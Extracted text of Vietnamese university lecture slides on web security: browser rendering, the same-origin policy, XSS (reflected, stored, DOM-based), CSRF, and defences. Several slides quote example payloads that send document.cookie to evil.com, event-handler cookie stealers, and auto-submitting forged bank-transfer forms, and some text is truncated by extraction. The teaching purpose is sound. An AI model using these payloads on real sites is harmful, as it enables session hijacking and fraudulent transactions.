Bài giảng An ninh mạng - Bài 7: An toàn dịch vụ web XSS & CSRF - Bùi Trọng Tùng

BÀI 7.  
AN TOÀN DỊCH VỤ WEB  
XSS & CSRF  
Bùi Trọng Tùng,  
Viện Công nghệ thông tin và Truyền thông,  
Đại học Bách khoa Hà Nội  
1
Nội dung  
• Xử lý trang web tại trình duyệt  
• XSS  
• CSRF  
2
1
1. XỬ LÝ TẠI TRÌNH DUYỆT  
Bùi Trọng Tùng,  
Viện Công nghệ thông tin và Truyền thông,  
Đại học Bách khoa Hà Nội  
3
Tương tác trình duyệt Web-Web server  
HTTP Request(GET, POST, HEAD, PUT…)  
HTTP Response(HTML Page, JS file,  
CSS file, image, ...)  
Hiển thị  
Database Queries  
4
2
Hiển trị (rendering) nội dung trang web  
• Mô hình xử lý cơ bản tại trình duyệt: mỗi cửa sổ hoặc 1  
frame:  
Nhận thông điệp HTTP Response  
Hiển thị:  
Xử lý mã HTML, CSS, Javascripts  
Gửi thông điệp HTTP Request yêu cầu các đối tượng khác(nếu có)  
Bắt và xử lý sự kiện  
• Các sự kiện có thể xảy ra:  
Sự kiện của người dùng: OnClick, OnMouseOver…  
Sự kiện khi hiển thị: OnLoad, OnBeforeUnload…  
Theo thời gian: setTimeout(), clearTimeout()…  
5
Ví dụ  
<!DOCTYPE html>  
<html>  
<body>  
<h1>My First Web Page</h1>  
<p>My first paragraph.</p>  
</body>  
</html>  
6
3
Document Object Model(DOM)  
• Tổ chức các đối tượng của trang HTML thành cấu trúc  
cây  
• Cung cấp API (hướng đối tượng)để tương tác  
• Ví dụ:  
Thuộc tính: document.alinkColor, document.URL, document.forms[  
], document.links[ ]…  
Phương thức: document.write()…  
• Bao gồm cả đối tượng của trình duyệt(Browser Object  
Model - BOM): window, document, frames[], history,  
location…  
7
DOM – Ví dụ  
<html><body>  
<head><title>Example</title> ... </head>  
<body>  
<a id="myid" href="javascript:flipText()">Alice</a>  
</body></html>  
head  
body  
title  
...  
a
Alice  
8
4
DOM – Ví dụ khác  
<head> ...  
<script type="text/javascript">  
flip = 0;  
function flipText() {  
var x = document.getElementById('myid').firstChild;  
if(flip == 0) { x.nodeValue = 'Bob'; flip = 1;}  
else { x.nodeValue = 'Alice'; flip = 0; }  
}
</script>  
</head>  
document  
<body>  
<a id="myid"  
href="javascript:flipText()">  
Alice  
</a>  
</body>  
head  
body  
script  
a
flipText  
Alice  
9
Javascript  
• Ngôn ngữ cho phép xây dựng các script để trình duyệt  
thực thi  
• Được nhúng vào các trang web mà server trả về cho  
client  
• Thường sử dụng để tương tác với DOM  
•
Thay đổi nội dung trang web  
Theo dõi các sự kiện trên trang web (bao gồm cả hành vi của  
người dùng: rê chuột, nhấp chuột, gõ phím)  
Đọc, thiết lập cookie  
Sinh các HTTP Request khác và đọc HTTP Response trả về  
10  
5
Chính sách cùng nguồn(SOP)  
• Same Origin Policy  
• Chính sách sử dụng trên trình duyệt Web  
• Nguồn = Giao thức + Hostname + Cổng ứng dụng  
• Chính sách SOP: Trang web của nguồn này không được  
phép đọc, thay đổi nội dung trang web của nguồn khác  
cách ly các trang web khác nguồn  
A
B
A
B
A
11  
SOP – Ví dụ  
Kiểm tra khả năng truy cập từ  
Compared URL  
Outcome  
Success  
httpː//www.example.com/dir/page2.html  
Success  
Succes  
Failure  
Failure  
Failure  
Failure  
httpː//www.example.com/dir2/other.html  
htt
http
http://en.example.com/dir/other.html  
http://example.com/dir/other.html  
http://v2.www.example.com/dir/other.html  
Depends  
httpː//www.example.com:80/dir/other.html  
12  
6
2. TẤN CÔNG DẠNG CROSS SITE  
SCRIPTING (XSS)  
Bùi Trọng Tùng,  
Viện Công nghệ thông tin và Truyền thông,  
Đại học Bách khoa Hà Nội  
13  
Tấn công XSS (Cross Site Scripting)  
• Lỗ hổng XSS: ứng dụng web không kiểm soát sự có mặt của mã thực  
thi trong giá trị tham số đầu vào và/hoặc trong kết quả trả về trên  
thông điệp HTTP Response  
• Tấn công XSS: lợi dụng lỗ hổng XSS để ẩn giấu mã độc trong thông  
điệp HTTP Request và lừa ứng dụng web trả về thông điệp HTTP  
Response chứa mã độc này.  
•
• Có thể thực hiện tương tự trên các dịch vụ email, trình đọc file PDF  
• Các phương phép chèn mã thực thi:  
Reflected XSS  
Stored XSS  
DOM-based XSS  
14  
7
Tấn công Reflected XSS  
Attack Server  
evil.com  
Victim Server  
(5) Trình  
duyệt thực  
thi mã độc  
Victim Server  
victim.com  
15  
Tấn công Reflected XSS - Ví dụ  
• Giả sử trên website của mục tiêu cung cấp tính năng tìm  
kiếm.  
• Đoạn mã thực thi trên server như sau:  
<HTML> <TITLE> Search Results </TITLE>  
Results for <?php echo $_GET[term] ?>:  
. . .  
</BODY> </HTML>  
16  
8
Tấn công Reflected XSS - Ví dụ (tiếp)  
• Người dùng tải một trang web từ server của kẻ tấn công  
chưa đường dẫn sau  
document.location=‘http://evil.com/’+  
document.cookie)</script>  
• Điều gì xảy ra khi người dùng nhấp vào đường dẫn trên?  
17  
term=%3Cscript%3Edocument.location=‘evil.  
com/’ +document.cookie;%3C/script%3E  
“Check out this link!”  
m.com/search.ph  
p?  
term=%3Cscript  
nt.loc  
m/’  
+document.cookie  
;%3C/script%3E  
Session token của người dùng trên  
victim.com  
HTTP  
Response  
chứa mã thực  
thi đã truyền  
qua giá trị  
đầu vào  
victim.com  
evil.com  
18  
9
Tấn công Stored XSS  
Attack Browser/Server  
evil.com  
(1)Chèn mã  
độc vào CSDL  
của mục tiêu  
(4)Trình duyệt  
thực thi mã  
độc  
bank.com  
19  
Session token của người  
dùng trên victim.com  
evil.com  
evil.com/f9geiv33knv141  
<script>document.location = “evil.com/” +  
document.cookie</script>  
Posts comment with text:  
<script>document.location = “evil.com/” +  
document.cookie</script>  
victim.com  
20  
10  
Tấn công Stored XSS – Ví dụ  
• Tấn công vào myspace.com năm 2007 để phát tán sâu  
Samy  
• Myspace cho phép người dùng đăng bài dưới dạng mã  
HTML:  
Kiểm soát, không cho phép nhúng Javascript vào các thẻ  
<script>, <body>, onclick, <a href=javascript://>  
Nhưng không kiểm soát việc nhúng vào thẻ CSS:  
<div style=“background:url(‘javascript:alert(1)’)”>  
Hoặc ẩn từ khóa “javascript” thành “java\nscript”  
• Khi sâu Samy được thực thi, tài khoản người dùng tự động  
kết bạn với tài khoản có tên Samy  
Trong 24 giờ, Samy có hàng triệu bạn bè  
21  
Tấn công DOM-based XSS  
• Lỗ hổng: trình duyệt được phép thực thi script được  
nhúng trong đối tượng DOM của trang web đang hiển thị  
• Không thể phát hiện được tại server  
22  
11  
DOM-based XSS - Ví dụ  
• Trang có lỗ hổng  
<HTML><TITLE>Welcome!</TITLE>  
Hi <SCRIPT>  
var pos = document.URL.indexOf("name=") + 5;  
document.write(document.URL.substring(pos,document.URL.l  
ength));  
</SCRIPT>  
</HTML>  
• Yêu cầu thông thường  
• Nhúng mã thực thi  
<script>alert(document.cookie)</script>  
23  
Phòng chống tấn công XSS phía server  
• Open Web Application Security Project (OWASP)  
• Kiểm tra cẩn thận HTTP header, cookie, truy vấn, các  
trường ẩn  
• Không nên cố gắng nhận dạng, loại trừ, lọc các đối tượng  
chủ động (active content)  
• g  
dạng “negative”  
• Kiểm tra giá trị đầu vào do client cung cấp  
• Từ chối/sử dụng các bộ mã cho các ký tự đặc biệt với  
chuỗi đầu ra. Ví dụ dùng &lt cho ‘<‘, &gt cho ‘>’, &quot  
cho “...  
24  
12  
Chú ý: Mã Javascript có thể chèn vào  
nhiều vị trí khác nhau trên trang web  
• Sử dụng mã Javascript như một URI  
<img src=“javascript:alert(document.cookie);”>  
• Chèn mã Javascript vào các thuộc tính của  
phương thức xử lý sự kiện (OnSubmit, OnError,  
OnLoad, …)  
• Một số ví dụ:  
<img src=“none” OnError=“alert(document.cookie)”>  
<iframe src=`https://bank.com/login` onload=`steal()`>  
<form> action="logon.jsp" method="post"  
onsubmit="hackImg=new Image;  
ms(1).login.value'+':'+  
document.forms(1).password.value;" </form>  
25  
Phòng chống XSS phía server  
• Sử dụng bộ lọc chuỗi giá trị đầu ra để loại các ký  
tự nhạy cảm:  
Hãy cẩn thận với các mẹo vượt qua bộ lọc  
Hãy lọc nhiều lần cho tới khi loại hết các từ khóa  
Ví dụ: lọc 1 lần chuỗi <script  
• Một số công cụ khác: Dynamic Data Tainting,  
Static Analysis  
26  
13  
Phòng chống tấn công XSS phía server  
eat_Sheet  
ting)_Prevention_Cheat_Sheet  
ention_Cheat_Sheet  
27  
3. TẤN CÔNG DẠNG CROSS SITE  
REQUEST FORGERY  
Viện Công nghệ thông tin và Truyền thông,  
Đại học Bách khoa Hà Nội  
28  
14  
Tấn công CSRF  
• Lợi dụng hiệu ứng bên (side effect) để tạo ra các HTTP  
Request giả mạo.  
Hiệu ứng bên (side effect): trong quá trình hiển thị (render) trang  
web, trình duyệt có thể tự động truy cập đến tài nguyên những  
liên kết khác mà không được kiểm soát.  
account=bob_id&amount=1000000&for=Alie_ id”/>  
• Thường kết hợp khai thác các lỗ hổng không kiểm soát  
việc lưu giữ và truy cập cookie trên trình duyệt  
• Lưu ý: tấn công CSRF khác tấn công XSS  
29  
Tấn công CSRF – Ví dụ  
• Người dùng đăng nhập trên website bank.com và thực  
hiện một giao dịch chuyển tiền  
Trình duyệt lưu cookie của phiên làm việc(gồm các thông tin người  
dùng đã xác thực với ngân hàng)  
• Người dùng truy cập vào một trang web chứa đoạn mã  
độc(Ví dụ atacker.com)
<form name=F action=http://bank.com/BillPay.php>  
<input name=recipient value=attacker> …  
<script> document.F.submit(); </script>  
• Khi hiển thị trang web, trình duyệt tạo một HTTP Request  
với cookie ở trên để thực thi giao dịch chuyển tiền cho  
attacker  
30  
15  
Tấn công CSRF – Ví dụ  
Xác thực với bank.com  
bank.com  
/transfer?amount=500&dest=Bob  
evil.com  
Kiểm tra session token  
Chuyển $500 tới Bob  
31  
Tấn công CSRF – Ví dụ  
/transfer?amount=10000&dest=evilcorp  
bank.com  
transfer?amount=10000&id=evilcorp”>  
$10000  
Kiểm tra session token  
Gửi $10000 tới EvilCorp  
32  
16  
Tấn công CSRF – Ví dụ  
• “Drive-By Pharming”, Sid Stamm, Zulfikar Ramzan,  
Markus Jakobsson, ICICS'07  
• Các thiết bị router phục vụ cho gia đình/văn phòng nhỏ  
cho phép cấu hình qua giao diện Web  
Người dùng cần đăng nhập. Tuy nhiên hầu hết dùng tài khoản mặc  
định của nhà sản xuất  
• Tấn công Drive-by Pharming:  
Người dùng truy cập vào website chứa mã độc  
Một Javascript quét và tìm địa chỉ router  
Sử dụng Javascript để phát hiện hãng sản xuất và tên sản phẩm  
(thường thể hiện qua logo)  
Login và sửa thông số cấu hình qua phương thức GET trên URL  
33  
Phòng chống tấn công CSRF phía server  
• Kiểm tra nguồn sinh request qua trường Referertrong  
tiêu đề thông điệp HTTP.  
Hạn chế: lộ thông tin thói quen của người dùng  
• Khắc phục: Sử dụng trường Origin  
• Sử dụng XMLHttpRequest API  
Phương thức setRequestHeader cho phép thêm 1 trường bất kỳ  
trong tiêu đề HTTP Request  
Ví dụ: thư viện prototype.js của JavaScript sử dụng X-  
Requested-By  
• Sử dụng xác thực đa yếu tố, capcha, secret token…  
34  
17  
Phòng chống tấn công CSRF phía server  
Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet  
oss-Site_Request_Forgery_issues  
35  
Tổng kết  
• Command Injection:  
Chèn mã độc vào giá trị đầu vào để thực thi trên server  
• SQL Injection:  
Chèn truy vấn SQL vào giá trị đầu vào để truy cập CSDL trái phép  
trên server  
• CSRF:  
hại từ trình duyệt của người dùng  
• XSS  
Chèn mã độc vào giá trị đầu vào và lợi dụng kết quả server trả về  
để thực thi trên client  
36  
18  
Một số biện pháp phòng chống trên web  
server  
• Kiểm tra cẩn thận HTTP header, cookie, thẻ bài  
• Kiểm tra cẩn thận giá trị đầu vào, kết quả trả về  
• Sử dụng các công cụ kiểm thử black box  
• Sử dụng các công cụ quét mã độc: Google Analytic,  
Norton Safe Web...  
• Theo dõi và cập nhật đầy đủ các bản vá bảo mật  
• Sử dụng firewall dịch vụ web: Apache Mod Security,  
Imperva SecureSphere Web Application Firewall, Check  
Point Web Security…  
37  
Người dùng được bảo vệ như thế nào?  
38  
19  
Bài giảng sử dụng một số hình vẽ và ví dụ từ các bài  
giảng:  
• Computer and Network Security, Stanford University  
• Computer Security, Berkeley University  
• Introduction to Computer Security, Carnegie Mellon  
University  
39  
20  
pdf 20 trang baolam 23581 Free
Bạn đang xem tài liệu "Bài giảng An ninh mạng - Bài 7: An toàn dịch vụ web XSS & CSRF - Bùi Trọng Tùng", để tải tài liệu gốc về máy hãy click vào nút Download ở trên

File đính kèm:

  • pdfbai_giang_an_ninh_mang_bai_7_an_toan_dich_vu_web_xss_csrf_bu.pdf